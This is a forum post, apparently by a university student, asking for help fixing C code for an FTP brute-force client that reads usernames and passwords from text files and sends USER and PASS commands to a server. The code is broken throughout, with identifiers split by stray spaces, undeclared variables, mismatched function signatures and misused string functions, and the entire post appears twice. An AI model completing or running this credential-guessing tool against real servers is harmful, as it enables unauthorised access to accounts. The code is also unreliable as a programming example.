Hello,
I have developed a client server application using C.
i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.
Any advice would be most helpfull
this is the client part
[code=c]
#include <stdio.h> /* for printf() and fprintf() */
#include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
#include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
#include <stdlib.h> /* for atoi() and exit() */
#include <string.h> /* for memset() */
#include <unistd.h> /* for close() */
#define BUFSIZE 4096 /* Size of receive buffer */
void DieWithError(ch ar *errorMessage); /* Error handling function */
void handeltcpclient (int sock, char *argv[]); /* Server handling function */
int main(int argc, char *argv[])
{
int sock; /* Socket descriptor */
struct sockaddr_in echoServAddr; /* Echo server address */
unsigned short echoServPort; /* Echo server port */
char *servIP; /* Server IP address (dotted quad) */
if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
{
fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
exit(1);
}
servIP = argv[1]; /* First arg: server IP address (dotted quad) */
if (argc == 3)
echoServPort = atoi(argv[2]); /* Use given port, if any */
else
echoServPort = 21; /* 7 is the well-known port for the echo service */
/* Create a reliable, stream socket using TCP */
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
DieWithError("s ocket() failed");
/* Construct the server address structure */
memset(&echoSer vAddr, 0, sizeof(echoServ Addr)); /* Zero out structure */
echoServAddr.si n_family = AF_INET; /* Internet address family */
echoServAddr.si n_addr.s_addr = inet_addr(servI P); /* Server IP address */
echoServAddr.si n_port = htons(echoServP ort); /* Server port */
/* Establish the connection to the echo server */
if (connect(sock, (struct sockaddr *) &echoServAdd r, sizeof(echoServ Addr)) < 0)
DieWithError("c onnect() failed");
handeltcpclient (sock, argv);
close(sock);
}
[/code]
this is the handeltcpclient .c
[code=c]
#include <stdio.h> /* for printf() and fprintf() */
#include <string.h> /* for printf() and fprintf() */
#include <sys/socket.h> /* for recv() and send() */
#include <unistd.h> /* for close() */
#define BUFSIZE 4096 /* Size of receive buffer */
void DieWithError(ch ar *errorMessage); /* Error handling function */
char sendBuf[BUFSIZE]; /* Send Buffer */
char rcvBuf[BUFSIZE];
char rcvMsgSize[BUFSIZE];
char srvBuf[BUFSIZE];
char clntBuf[BUFSIZE];
char USER[15];
char PASS[15];
FILE *fileuser;
FILE *filepassword;
int MsgSize;
int result;
char response[3];
void handeltcpclient (int clntSocket)
{
/* Recieve message from client */
memset(&rcvBuf, 0,sizeof(rcvBuf ));
rcvMsgSize = RecieveMessage( clntSocket, &rcvBuf, sizeof(rcvBuf)) ;
/* Recieve Server Responses */
memset (&clntBuf,0,siz eof(clntBuf));
memset (&srvBuf,0,size of(srvBuf));
MsgSize = RecieveMessage( clntSocket,&srv Buf, sizeof(srvBuf)) ;
printf("Recieve d: %s" &srvBuf,rcvMsgS ize);
response = strncpy(&srvBuf , 3);
result = strcmp( result, "230");
if( result == 0)
{
sprintf(&clntBu f, "USER %s", USER);
send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf ));
DieWithError("s end() sent a different number of bytes than expected");
printf("Recieve d: %s" &srvBuf,message Size);
/* Opening username.txt to selecting USER */
if (fileuser = (fopen ("usernames.txt ", "r")) ==NULL)
{
printf("Error opening file.\n");
return 1;
}
else {
printf ("File opened.\n");
while (fgets(USER, 15, file != NULL))
{
printf("%s",USE R);
}
/*send USER to server*/
sprintf(clntBuf , "USER %s", USER);
if ( send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf )))
DieWithError("s end() sent a different number of bytes than expected");
printf("The attemped username was: %s\n");
return 0;
/* Recieve message from client */
memset(&rcvBuf, 0,sizeof(rcvBuf ));
rcvMsgSize = RecieveMessage( clntSocket, &rcvBuf, sizeof(rcvBuf)) ;
response = strncpy(&srvBuf , 3);
result = strcmp( result, "331");
if( result == 0)
{
sprintf(&clntBu f, "PASS %s", PASS);
send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf ));
DieWithError("s end() sent a different number of bytes than expected");
result = strncpy(&srvBuf , 3);
result = strcmp(result, "230");
if (result == 0)
{
printf("success fully connected.\n");
{
sucess ++;
}
/* Opening passwords.txt to selecting PASS */
(
if (filepassword = (fopen ("passwords.txt ", "r"))==NULL )
{
printf("Error opening file.\n");
return 1;
}
(
else {
printf ("File opened.\n");
while (fgets(PASS, 15,file)!=NULL)
{
printf("%s",PAS S);
}
}
/*send PASS to server*/
sprintf(clntBuf , "PASS %s", PASS);
if ( send(clntSocket , &clntBuf, strlen(clntBuf) , 0) != (strlen(clntBuf )))
DieWithError("s end() sent a different number of bytes than expected");
printf("Closing file.\n");
fclose(file);
printf("The attempted password was: %s\n");
return 0;
}
int RecieveMessage (int s,char *buf, int maxLen)
{
int received = 0;
int rv = 0;
rv = recv(s, buf+received, 5, 0);
while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
{
received += rv;
rv = recv(s, buf+received, 5, 0);
}
if (rv < 0)
{
DieWithError("r evc() failed");
}
return received;
}
/*end*/[/code]
this is the diewitherror.c (error handling file)
[code=c]
#include <stdio.h> /* for perror() */
#include <stdlib.h> /* for exit() */
void DieWithError(ch ar *errorMessage)
{
perror(errorMes sage);
exit(1);
}[/code]
I have developed a client server application using C.
i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.
Any advice would be most helpfull
this is the client part
[code=c]
#include <stdio.h> /* for printf() and fprintf() */
#include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
#include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
#include <stdlib.h> /* for atoi() and exit() */
#include <string.h> /* for memset() */
#include <unistd.h> /* for close() */
#define BUFSIZE 4096 /* Size of receive buffer */
void DieWithError(ch ar *errorMessage); /* Error handling function */
void handeltcpclient (int sock, char *argv[]); /* Server handling function */
int main(int argc, char *argv[])
{
int sock; /* Socket descriptor */
struct sockaddr_in echoServAddr; /* Echo server address */
unsigned short echoServPort; /* Echo server port */
char *servIP; /* Server IP address (dotted quad) */
if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
{
fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
exit(1);
}
servIP = argv[1]; /* First arg: server IP address (dotted quad) */
if (argc == 3)
echoServPort = atoi(argv[2]); /* Use given port, if any */
else
echoServPort = 21; /* 7 is the well-known port for the echo service */
/* Create a reliable, stream socket using TCP */
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
DieWithError("s ocket() failed");
/* Construct the server address structure */
memset(&echoSer vAddr, 0, sizeof(echoServ Addr)); /* Zero out structure */
echoServAddr.si n_family = AF_INET; /* Internet address family */
echoServAddr.si n_addr.s_addr = inet_addr(servI P); /* Server IP address */
echoServAddr.si n_port = htons(echoServP ort); /* Server port */
/* Establish the connection to the echo server */
if (connect(sock, (struct sockaddr *) &echoServAdd r, sizeof(echoServ Addr)) < 0)
DieWithError("c onnect() failed");
handeltcpclient (sock, argv);
close(sock);
}
[/code]
this is the handeltcpclient .c
[code=c]
#include <stdio.h> /* for printf() and fprintf() */
#include <string.h> /* for printf() and fprintf() */
#include <sys/socket.h> /* for recv() and send() */
#include <unistd.h> /* for close() */
#define BUFSIZE 4096 /* Size of receive buffer */
void DieWithError(ch ar *errorMessage); /* Error handling function */
char sendBuf[BUFSIZE]; /* Send Buffer */
char rcvBuf[BUFSIZE];
char rcvMsgSize[BUFSIZE];
char srvBuf[BUFSIZE];
char clntBuf[BUFSIZE];
char USER[15];
char PASS[15];
FILE *fileuser;
FILE *filepassword;
int MsgSize;
int result;
char response[3];
void handeltcpclient (int clntSocket)
{
/* Recieve message from client */
memset(&rcvBuf, 0,sizeof(rcvBuf ));
rcvMsgSize = RecieveMessage( clntSocket, &rcvBuf, sizeof(rcvBuf)) ;
/* Recieve Server Responses */
memset (&clntBuf,0,siz eof(clntBuf));
memset (&srvBuf,0,size of(srvBuf));
MsgSize = RecieveMessage( clntSocket,&srv Buf, sizeof(srvBuf)) ;
printf("Recieve d: %s" &srvBuf,rcvMsgS ize);
response = strncpy(&srvBuf , 3);
result = strcmp( result, "230");
if( result == 0)
{
sprintf(&clntBu f, "USER %s", USER);
send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf ));
DieWithError("s end() sent a different number of bytes than expected");
printf("Recieve d: %s" &srvBuf,message Size);
/* Opening username.txt to selecting USER */
if (fileuser = (fopen ("usernames.txt ", "r")) ==NULL)
{
printf("Error opening file.\n");
return 1;
}
else {
printf ("File opened.\n");
while (fgets(USER, 15, file != NULL))
{
printf("%s",USE R);
}
/*send USER to server*/
sprintf(clntBuf , "USER %s", USER);
if ( send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf )))
DieWithError("s end() sent a different number of bytes than expected");
printf("The attemped username was: %s\n");
return 0;
/* Recieve message from client */
memset(&rcvBuf, 0,sizeof(rcvBuf ));
rcvMsgSize = RecieveMessage( clntSocket, &rcvBuf, sizeof(rcvBuf)) ;
response = strncpy(&srvBuf , 3);
result = strcmp( result, "331");
if( result == 0)
{
sprintf(&clntBu f, "PASS %s", PASS);
send(clntSocket , &clntBuf, strlen(clntBuf) , 0)!= (strlen(clntBuf ));
DieWithError("s end() sent a different number of bytes than expected");
result = strncpy(&srvBuf , 3);
result = strcmp(result, "230");
if (result == 0)
{
printf("success fully connected.\n");
{
sucess ++;
}
/* Opening passwords.txt to selecting PASS */
(
if (filepassword = (fopen ("passwords.txt ", "r"))==NULL )
{
printf("Error opening file.\n");
return 1;
}
(
else {
printf ("File opened.\n");
while (fgets(PASS, 15,file)!=NULL)
{
printf("%s",PAS S);
}
}
/*send PASS to server*/
sprintf(clntBuf , "PASS %s", PASS);
if ( send(clntSocket , &clntBuf, strlen(clntBuf) , 0) != (strlen(clntBuf )))
DieWithError("s end() sent a different number of bytes than expected");
printf("Closing file.\n");
fclose(file);
printf("The attempted password was: %s\n");
return 0;
}
int RecieveMessage (int s,char *buf, int maxLen)
{
int received = 0;
int rv = 0;
rv = recv(s, buf+received, 5, 0);
while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
{
received += rv;
rv = recv(s, buf+received, 5, 0);
}
if (rv < 0)
{
DieWithError("r evc() failed");
}
return received;
}
/*end*/[/code]
this is the diewitherror.c (error handling file)
[code=c]
#include <stdio.h> /* for perror() */
#include <stdlib.h> /* for exit() */
void DieWithError(ch ar *errorMessage)
{
perror(errorMes sage);
exit(1);
}[/code]